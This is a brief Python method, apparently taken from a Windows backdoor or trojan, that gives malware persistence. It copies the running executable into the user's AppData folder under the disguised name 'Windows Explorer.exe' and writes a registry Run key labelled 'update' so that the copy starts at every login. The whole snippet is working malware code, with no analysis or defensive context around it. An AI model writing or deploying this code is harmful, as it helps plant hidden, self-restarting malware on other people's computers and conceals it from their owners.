def become_persistent(self):
		evil_file_location = os.environ["appdata"] + "\\Windows Explorer.exe"
		if not os.path.exists(evil_file_location):
			shutil.copyfile(sys.executable, evil_file_location)
			subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d "' + evil_file_location + '"', shell=True)
